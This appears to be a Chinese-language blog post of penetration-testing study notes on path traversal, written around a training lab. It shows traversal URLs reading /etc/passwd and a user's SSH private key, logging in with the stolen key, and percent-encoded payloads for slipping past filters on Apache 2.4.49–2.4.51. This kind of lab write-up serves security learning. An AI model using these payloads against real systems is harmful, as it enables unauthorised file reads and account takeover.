Path Traversal Attack 目錄遍歷攻擊

 Path Traversal Attack 目錄遍歷攻擊


當有了互動式 shell 後標準攻擊範例檔案

Linux : /etc/password,指令 cat ../../../../../../../../../etc/passwd 就看你幾層

Windows : C:\Windows\System32\drivers\etc\hosts 這是一個所有人都可以讀的檔案

如果目錄遍歷是透過網址的方式去做, 在 windows 底下一樣吃 " ../ " 這種 URL

舉例要抓一個檔案在 C:\Users\install.txt

那網址可以使用 http://ooxx.com/vun/../../../../../../../../Users/install.txt 方式進行



回到 Linux,當讀到 /etc/passwd 檔案後第一步就是列舉使用者帳號
幾乎都在檔案的後面,代號會從 1000 開始如下圖找到一個帳號叫做 offsec



除了可以用密碼暴力破解以外,另一個方式就是去讀取該使用者加目錄下的 Private Key

路徑都是在使用者 /home/[user account]/.ssh/id_rsa,若存在則我們可以利用該 Key 去登入系統

如下圖發現該帳號 offsec 確實存在 provate key

kali@kali:~$ curl http://mountaindesserts.com/meteor/index.php?page=../../../../../../../../../home/offsec/.ssh/id_rsa
...
-----BEGIN OPENSSH PRIVATE KEY-----
b3BlbnNzaC1rZXktdjEAAAAABG5vbmUAAAAEbm9uZQAAAAAAAAABAAABlwAAAAdzc2gtcn
NhAAAAAwEAAQAAAYEAz+pEKI1OmULVSs8ojO/sZseiv3zf2dbH6LSyYuj3AHkcxIND7UTw
XdUTtUeeJhbTC0h5S2TWFJ3OGB0zjCqsEI16ZHsaKI9k2CfNmpl0siekm9aQGxASpTiYOs
KCZOFoPU6kBkKyEhfjB82Ea1VoAvx4J4z7sNx1+wydQ/Kf7dawd95QjBuqLH9kQIEjkOGf
BemTOAyCdTBxzUhDz1siP9uyofquA5vhmMXWyy68pLKXpiQqTF+foGQGG90MBXS5hwskYg
...
lpWPWFQro9wzJ/uJsw/lepsqjrg2UvtrkAAADBAN5b6pbAdNmsQYmOIh8XALkNHwSusaK8
bM225OyFIxS+BLieT7iByDK4HwBmdExod29fFPwG/6mXUL2Dcjb6zKJl7AGiyqm5+0Ju5e
hDmrXeGZGg/5unGXiNtsoTJIfVjhM55Q7OUQ9NSklONUOgaTa6dyUYGqaynvUVJ/XxpBrb
iRdp0z8X8E5NZxhHnarkQE2ZHyVTSf89NudDoXiWQXcadkyrIXxLofHPrQzPck2HvWhZVA
+2iMijw3FvY/Fp4QAAAA1vZmZzZWNAb2Zmc2VjAQIDBA==
-----END OPENSSH PRIVATE KEY-----
...


拿到 private key 可以將它存檔並修改檔案權限

chmod 400 [檔案名稱] (除了 400, 改成 600 也是可以用的) 這是因為 Private Key 是步開放給本人以外的群組與帳號使用,所以一定要先修改檔案權限

這裡假設將檔案做成一個檔名為 dt_key 的檔案,那就可以直接來登入了如下

=======================================================================

kali@kali:~$ ssh -i dt_key -p 2222 offsec@mountaindesserts.com
The authenticity of host '[mountaindesserts.com]:2222 ([192.168.50.16]:2222)' can't be established.
Are you sure you want to continue connecting (yes/no/[fingerprint])? yes
...
@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@
@         WARNING: UNPROTECTED PRIVATE KEY FILE!          @
@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@
Permissions 0644 for '/home/kali/dt_key' are too open.
It is required that your private key files are NOT accessible by others.
This private key will be ignored.
...

kali@kali:~$ chmod 400 dt_key

kali@kali:~$ ssh -i dt_key -p 2222 offsec@mountaindesserts.com
...
offsec@68b68f3eb343:~$ 

=======================================================================




目錄遍歷預設直接使用 ../../../../ 這樣的字符,然後這樣的字符很容易被 WAF 等網路設備攔截

這時候可以利用 URL Encoding (或稱 Percent Encoding 意即字符換成有 % 方式的顯示)

../ 標準就是換成 %2e

歷史上很有名的 Apache 2.4.49 ~ 2.4.51 的 Path Traversal Vulnerability 後來很多都禁止 ../

這個漏洞是在 cgi-bin 路徑的目錄遍歷漏洞,一般打法如下

curl http://192.168.1.1/cgi-bin/../../../../../../../../ect/passwd 

但可能會被檔,這時候換成

curl http://192.168.1.1/cgi-bin/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/etc/passwd

就有可能會過了


要注意有時候 ../../../ 不夠多層也會抓不到檔案, 過多層是沒有問題的

LAB 有一題一直無法解出來,最後加到 8 層就解了






留言

這個網誌中的熱門文章

Challenge 0 - Secura(2)

Challenge 0 - Secura(1)

Challenge 8 - Poseidon(0)